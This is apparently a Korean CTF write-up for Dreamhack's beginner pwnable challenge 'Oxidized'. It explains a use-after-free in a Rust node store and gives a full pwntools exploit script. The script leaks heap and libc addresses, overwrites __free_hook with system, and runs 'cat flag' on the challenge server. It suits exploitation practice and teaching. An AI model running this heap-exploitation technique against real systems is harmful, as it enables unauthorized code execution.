B
Oxidized
2dedce
조회수 115
풀이자수

We cannot swim against the tide.
Now it’s time to learn the hottest and oxidized system programming language.
img

Note : This challenge is designed for beginners.
You don’t have to worry like “I’ve never encountered Rust!” or “I have no idea what Box, drop, or as_ref is!”.
As we’ve always done, look at the source code, google what it is, and see how it’s represented as a binary.
You can definitely solve this challenge and make step up.

Oxidized (pwnable)

Box를 c언어의 malloc()과 free()처럼 사용하는 러스트 코드이다. 기드라로 열어보니 내부적으로 libc의 malloc과 free를 호출하므로 c언어로 작성된 프로그램처럼 힙을 뚫으면 된다. 디버깅정보가 포함되어 있어 그걸 통해 알아낸 Node 자료형은 아래와 같다.

0	8	u64	typedef u64 ulong		key
8	8	usize	typedef usize ulong		ptr
16	1	bool	bool		is_string

총 24바이트이고 값의 순서는 위와 같다. 나머지 부분은 원본소스코드가 있으므로 리버싱하지 않는다. 러스트 코드의 취약점은 노드 삭제에 있으며 노드는 삭제하면서 벡터의 노드주소는 삭제하지 않아 벡터에 댕글링(dangling)포인터를 남기게 만든다. 그래서 UAF취약점이 생기고 string의 크기를 24로 만들면 free된 Node로 할당이 되서 Node의 ptr부분을 수정할 수 있어, 임의주소 읽기(arbitrary read)와 임의주소 쓰기(arbitrary write) 취약점이 생긴다. libc는 8개를 만들고 8개를 free시켜 unsorted bin을 만들어 main_arena의 주소를 통해 libc leak했다. exploit 코드 중간에 pause를 넣고 gdb attach를 통해 offset을 구하며 한칸한칸 전진하는 식으로 exploit code를 짰다.

from pwn import *
# r = process('./chal')
r = remote('host3.dreamhack.games', 22059)
e = ELF('./chal')
libc = ELF('./libc-2.27.so') # 이거 e.libc로 하면 안됨 ㅠㅠ
context.log_level = 'debug'
def insert_i(k, v):
    r.sendlineafter(b">> ", b"1")
    r.sendline(f"{k}".encode())
    r.sendlineafter(b">> ", b"N")
    r.sendlineafter(b">> ", f"{v}".encode())
def insert_s(k, s, size):
    r.sendlineafter(b">> ", b"1")
    r.sendlineafter(b">> ", f"{k}".encode())
    r.sendlineafter(b">> ", b"Y")
    r.sendlineafter(b">> ", f"{size}".encode())
    r.sendlineafter(b">> ", s)
def update_i(k, v):
    r.sendlineafter(b">> ", b"3")
    r.sendlineafter(b">> ", f"{k}".encode())
    r.sendlineafter(b">> ", f"{v}".encode())
def update_s(k, s, size):
    r.sendlineafter(b">> ", b"3")
    r.sendlineafter(b">> ", f"{k}".encode())
    r.sendlineafter(b">> ", f"{size}".encode())
    r.sendlineafter(b">> ", s)
def delete(k):
    r.sendlineafter(b">> ", b"4")
    r.sendlineafter(b">> ", f"{k}".encode())
# libc leak
insert_i(0x00, 0x00)
delete(0x00)
r.sendline(b"5")
r.recvuntil(b"---------------------\n")
x = int(r.recvline().decode().split(' -> ')[0]) # ?
heap = x - 0x51f0 # [heap] 시작주소
insert_s(0x01, b"AAAAAAAA"+p64(heap+0x2c8), 24)
r.sendline(b"5")
r.recvuntil(b"---------------------\n")
libc_base = int(r.recvline().decode().split(' -> ')[1]) - 0x3EC680 # ?
log.info(f"libc_base:{hex(libc_base)}")
free_hook = libc_base+libc.sym["__free_hook"]
# one_shot = libc_base+0x4f432 # 안돼
system = libc_base+libc.sym["system"]
# 임의 주소 쓰기 arbitrary write
insert_i(0x02, 0x02)
delete(0x02)
insert_s(0x03, p64(0x0202)+p64(free_hook), 24)
update_i(0x0202, system)
insert_s(0x4, b"cat flag", 100)
r.interactive()
delete(0x4) # free("cat flag")가 아니라 system("cat flag")
r.interactive()

__free_hook을 원샷으로 덮으면 안풀린다. 그럴땐 원샷대신 system으로 덮고 "cat flag"를 free시키면 system("cat flag")가 된다.

aaw할때 key값을 0x0202로 줘야하는 이유는 무엇인가요?

view_all했을 때 free된 node에 key로 쓰여진 곳에서 heap_base를 leak하고 gdb로 heap에 뭐가 있나 gdb의 x/100gx 같은걸로 쭉 훑다가 heap+0x2c8인 곳에서 libc를 leak할 수 있는 무언가를 발견해서 풀었습니다.

? 보니까 unsorted bin이 없는데 잘못썼네요 그냥 메모리 보고 libc를 leak할 대상을 찾은거네...